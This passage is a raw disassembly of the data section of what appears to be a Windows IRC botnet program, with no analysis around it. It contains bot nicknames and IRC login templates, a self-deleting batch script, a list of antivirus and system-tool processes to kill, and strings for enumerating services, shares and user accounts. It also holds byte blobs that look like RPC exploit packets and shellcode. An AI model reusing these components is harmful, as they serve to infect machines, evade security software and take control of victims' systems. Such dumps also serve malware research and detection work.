'WANTEDLOVE',0 align 4 aCumhur29 db 'cumhur29',0 align 10h aAdamm db 'ADAMM',0 align 4 aMaveRIck db 'MaVe{R}icK',0 align 4 aPrometheus db 'prometheus',0 align 10h aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438278o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438274o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438270o align 10h aCem39 db 'cem39',0 ; DATA XREF: ___:0043826Co align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00438268o aTropikal db 'tropikal',0 ; DATA XREF: ___:00438264o align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438260o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:0043825Co align 4 aUla db 'ula',0 ; DATA XREF: ___:00438258o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438254o aAkden db 'akden',0 ; DATA XREF: ___:00438250o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:0043824Co align 10h aAta29 db 'Ata29',0 ; DATA XREF: ___:00438248o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00438244o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438240o aM41ist db 'M41IST',0 ; DATA XREF: ___:0043823Co align 10h aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438238o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438234o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438230o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:0043822Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438228o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:00438224o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00438220o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:0043821Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438218o align 10h off_4386C0 dd offset byte_4B5245 ; DATA XREF: ___:00438214o aSevda db 'sevda',0 ; DATA XREF: ___:00438210o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:0043820Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438208o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:00438204o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00438200o align 10h aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004381FCo align 4 aHayran db 'hayran',0 ; DATA XREF: ___:004381F8o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004381F4o align 10h aAnkar db 'Ankar',0 ; DATA XREF: ___:004381F0o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004381ECo aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004381E8o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:004381E4o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:004381E0o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004381DCo align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004381D8o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004381D4o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004381D0o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004381CCo align 10h aAykut1 db 'aykut1',0 ; DATA XREF: ___:004381C8o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:004381C4o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:004381C0o aHoly db 'holy',0 ; DATA XREF: ___:004381BCo align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:004381B8o align 10h aKebikec db 'kebikec',0 ; DATA XREF: ___:004381B4o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:004381B0o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:004381ACo align 10h aEmre db 'Emre--',0 ; DATA XREF: ___:004381A8o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004381A4o align 10h aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004381A0o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:0043819Co align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438198o align 10h aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00438194o aArda db 'arda',0 ; DATA XREF: ___:00438190o align 4 aDevran db 'devran',0 ; DATA XREF: ___:0043818Co align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438188o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00438184o align 10h aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438180o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:0043817Co align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00438178o align 10h aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00438174o align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438170o align 4 off_438854 dd offset byte_457441 ; DATA XREF: ___:0043816Co dword_438858 dd 414C5941h, 2Dh ; DATA XREF: ___:00438168o aAlbina db 'albina',0 ; DATA XREF: ___:00438164o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438160o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:0043815Co align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438158o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00438154o align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438150o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:0043814Co align 10h aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438148o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:00438144o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438140o align 10h aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:0043813Co aAslii db 'aslii',0 ; DATA XREF: ___:00438138o align 10h aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00438134o aHaticem db 'haticem',0 ; DATA XREF: ___:00438130o aArzu db 'ARZU',0 ; DATA XREF: ___:0043812Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438128o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00438124o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438120o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:0043811Co align 10h aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438118o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:00438114o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00438110o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:0043810Co align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:00438108o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:00438104o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438100o aMisssunday db 'misssunday',0 ; DATA XREF: ___:004380FCo align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:004380F8o align 10h aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004380F4o align 10h aBerk19 db 'berk19',0 ; DATA XREF: ___:004380F0o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004380ECo align 10h aErkan27 db 'erkan27',0 ; DATA XREF: ___:004380E8o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004380E4o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004380E0o align 10h aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004380DCo align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004380D8o aReshma db 'reshma',0 ; DATA XREF: ___:004380D4o align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004380D0o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004380CCo align 4 aImra db 'imra',0 ; DATA XREF: ___:004380C8o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:004380C4o align 10h aPuregold db 'puregold',0 ; DATA XREF: ___:004380C0o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:004380BCo align 4 aManee db 'manee',0 ; DATA XREF: ___:004380B8o align 4 aTroller db 'troller',0 ; DATA XREF: ___:004380B4o aLuisa db 'Luisa',0 ; DATA XREF: ___:004380B0o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:004380ACo align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:004380A8o align 10h aJanno db 'janno',0 ; DATA XREF: ___:004380A4o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:004380A0o align 10h aHeval db 'heval',0 ; DATA XREF: ___:0043809Co align 4 aCme db 'cme',0 ; DATA XREF: ___:00438098o aMarcy db 'marcy',0 ; DATA XREF: ___:00438094o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00438090o align 4 aShez db 'Shez',0 ; DATA XREF: ___:0043808Co align 4 aKen db 'ken',0 ; DATA XREF: ___:00438088o aFlexster db 'flexster',0 ; DATA XREF: ___:00438084o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00438080o align 4 aMale db 'male',0 ; DATA XREF: ___:0043807Co align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438078o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00438074o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438070o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:0043806Co align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438068o align 10h aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00438064o aFarooq db 'farooq',0 ; DATA XREF: ___:00438060o align 10h aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:0043805Co align 4 aM_0: ; DATA XREF: ___:00438058o ; ___:004383A4o unicode 0, <M>,0 word_438AC0 dw 4Eh ; DATA XREF: sub_41A367+38r ; ___:00438054o align 4 dword_438AC4 dd 42h ; DATA XREF: ___:00438050o dword_438AC8 dd 56h ; DATA XREF: ___:0043804Co dword_438ACC dd 43h ; DATA XREF: ___:00438048o dword_438AD0 dd 58h ; DATA XREF: ___:00438044o ; ___:004383D8o dword_438AD4 dd 5Ah ; DATA XREF: ___:00438040o dword_438AD8 dd 4Ch ; DATA XREF: ___:0043803Co dword_438ADC dd 4Bh ; DATA XREF: ___:00438038o dword_438AE0 dd 4Ah ; DATA XREF: ___:00438034o dword_438AE4 dd 48h ; DATA XREF: ___:00438030o dword_438AE8 dd 47h ; DATA XREF: ___:0043802Co dword_438AEC dd 46h ; DATA XREF: ___:00438028o ; ___:004383A0o dword_438AF0 dd 44h ; DATA XREF: ___:00438024o dword_438AF4 dd 53h ; DATA XREF: ___:00438020o dword_438AF8 dd 50h ; DATA XREF: ___:00438018o dword_438AFC dd 4Fh ; DATA XREF: ___:00438014o dword_438B00 dd 55h ; DATA XREF: ___:0043800Co word_438B04 dw 59h ; DATA XREF: sub_41A68B+38r ; ___:00438008o align 4 dword_438B08 dd 54h ; DATA XREF: ___:00438004o dword_438B0C dd 52h ; DATA XREF: ___:00438000o dword_438B10 dd 45h ; DATA XREF: ___:00437FFCo dword_438B14 dd 57h ; DATA XREF: ___:00437FF8o dword_438B18 dd 51h ; DATA XREF: ___:00437FF4o dword_438B1C dd 62h ; DATA XREF: ___:00437FE8o ; ___:004383B4o dword_438B20 dd 78h ; DATA XREF: ___:00438334o dword_438B24 dd 7Ah ; DATA XREF: ___:0043833Co ; ___:0043836Co dword_438B28 dd 6Ch ; DATA XREF: ___:00438308o dword_438B2C dd 68h ; DATA XREF: ___:004382F4o dword_438B30 dd 67h ; DATA XREF: ___:004382F0o ; ___:00438370o dword_438B34 dd 66h ; DATA XREF: ___:004382ECo dword_438B38 dd 64h ; DATA XREF: ___:004382E4o dword_438B3C dd 79h ; DATA XREF: ___:00438338o dword_438B40 dd 77h ; DATA XREF: ___:00438330o dword_438B44 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B1E+C3o dword_438B50 dd 323334h ; DATA XREF: sub_417B1E+88o dword_438B54 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B1E+67o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C15+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E35+BCo ; sub_417E35+175r ... align 4 dword_438B9C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41827E+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_438BE8 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_41827E+E3o ; --------------------------------------------------------------------------- loc_438C04: ; DATA XREF: sub_41827E+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_438C18 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_41827E+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41864A+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418791+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418835+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418857+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418857+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418857+48o align 4 unk_438CCC db 2Dh ; - ; DATA XREF: sub_4189DF+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_438CFC db 2Dh ; - ; DATA XREF: sub_4189DF+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_438D24 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4189DF+5Co dd 65726165h, 64h off_438D40 dd offset aAdd ; DATA XREF: sub_418BBF+6Dr ; sub_418FA3+50r ... ; "Add" off_438D44 dd offset aAdded ; DATA XREF: sub_418BBF+2Dr ; sub_418FA3+82r ... ; "Added" dword_438D48 dd 0 ; DATA XREF: sub_418BBF+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438DB4h, 438DACh, 2, 438DA0h, 438D94h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00438D74o aStop_0 db 'Stop',0 ; DATA XREF: ___:00438D70o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00438D68o aStart_0 db 'Start',0 ; DATA XREF: ___:00438D64o align 4 aListed db 'Listed',0 ; DATA XREF: ___:00438D5Co align 4 aList_1 db 'List',0 ; DATA XREF: ___:00438D58o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00438D50o aDelete_0 db 'Delete',0 ; DATA XREF: ___:00438D4Co align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_438D44o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_438D40o unk_438E08 db 2Dh ; - ; DATA XREF: sub_418BBF+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438E2C db 2Dh ; - ; DATA XREF: sub_418BBF+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438E58 db 2Dh ; - ; DATA XREF: sub_418BBF+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418CE8+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418CE8:loc_418E00o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418CE8:loc_418DF9o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418CE8:loc_418DF2o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418CE8:loc_418DEBo align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418CE8:loc_418DE4o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418CE8:loc_418DDDo align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418CE8:loc_418DD6o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418CE8:loc_418DCFo align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418CE8:loc_418DC8o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418CE8:loc_418DC1o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418CE8:loc_418D96o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418CE8:loc_418D8Fo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418CE8:loc_418D88o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418CE8:loc_418D81o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418CE8+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418CE8:loc_418D56o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418CE8:loc_418D4Co aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418CE8:loc_418D42o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418CE8:loc_418D38o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418CE8:loc_418D2Eo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418CE8+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418E66+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418E66:loc_418F32o aStarting db ' Starting',0 ; DATA XREF: sub_418E66:loc_418F2Bo aStoping db ' Stoping',0 ; DATA XREF: sub_418E66:loc_418F24o aRunning db ' Running',0 ; DATA XREF: sub_418E66:loc_418F1Do aContinuing db ' Continuing',0 ; DATA XREF: sub_418E66:loc_418F16o aPausing db ' Pausing',0 ; DATA XREF: sub_418E66:loc_418F0Fo aPaused_0 db ' Paused',0 ; DATA XREF: sub_418E66:loc_418F08o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418E66+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418E66+25o align 4 unk_4393AC db 2Dh ; - ; DATA XREF: sub_418FA3+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_4393D0 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FA3+89o dd 73252720h, 27h unk_4393EC db 2Dh ; - ; DATA XREF: sub_418FA3+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419198+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_419198+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_419198+B5o unk_439438 db 2Dh ; - ; DATA XREF: sub_419198+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_419198+26o align 4 unk_439498 db 2Dh ; - ; DATA XREF: sub_4192B9+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_4394C0 db 2Dh ; - ; DATA XREF: sub_4192B9+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_4394F0 db 2Dh ; - ; DATA XREF: sub_4192B9+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439510 db 2Dh ; - ; DATA XREF: sub_4193FF+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4193FF+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4193FF+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4193FF+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4193FF+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4193FF+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4193FF+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4193FF+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4193FF+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4193FF+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4193FF+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4193FF+1CBo align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4193FF+1A0o align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4193FF+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4193FF+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4193FF+125o aGuest db 'Guest',0 ; DATA XREF: sub_4193FF:loc_419518o align 10h aUser_0 db 'User',0 ; DATA XREF: sub_4193FF:loc_419511o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_4193FF:loc_41950Ao align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4193FF+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4193FF+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4193FF+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_4193FF+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4197CD+14Fo align 4 unk_4396CC db 2Dh ; - ; DATA XREF: sub_4197CD+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4197CD+BEo align 10h unk_439700 db 2Dh ; - ; DATA XREF: sub_4197CD+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4197CD+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41994D:loc_419A6Ao align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41994D:loc_419A63o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41994D:loc_419A5Co align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41994D:loc_419A55o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41994D:loc_419A4Eo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41994D:loc_419A31o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41994D:loc_419A2Ao align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41994D:loc_419A23o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41994D+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41994D:loc_4199F8o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41994D:loc_4199F1o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41994D:loc_4199EAo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41994D:loc_4199E0o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41994D+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41994D:loc_4199BAo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41994D:loc_4199B0o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41994D:loc_4199A6o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41994D:loc_41999Co align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41994D:loc_419992o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41994D+3Bo align 4 dword_439A08 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419A81+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439A34 db 2Dh ; - ; DATA XREF: sub_419A81+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_439A60 dd offset aRegedit_exe ; DATA XREF: sub_419BAA+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_439B68 dd offset dword_439B5C dd offset dword_439B50 dd offset dword_439B44 dd offset dword_439B38 dd offset dword_439B2C dd offset dword_439B1C dd offset dword_439B10 dd offset dword_439B04 dd offset dword_439AF8 dd offset dword_439AEC dd offset dword_439ADC dd offset dword_439AD0 dd offset dword_439AC0 dword_439AC0 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419BAA+ECo ; ___:00439ABCo dword_439AD0 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439AB8o dword_439ADC dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439AB4o dword_439AEC dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439AB0o dword_439AF8 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439AACo dword_439B04 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439AA8o dword_439B10 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439AA4o dword_439B1C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439AA0o dword_439B2C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439A9Co dword_439B38 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439A98o dword_439B44 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439A94o dword_439B50 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439A90o dword_439B5C dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439A8Co dword_439B68 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439A88o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439A84o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439A80o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439A7Co align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439A78o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439A74o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439A70o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439A6Co aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439A68o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439A64o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439A60o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419BAA+191o align 4 unk_439C18 db 2Dh ; - ; DATA XREF: sub_419DD9:loc_419E60o 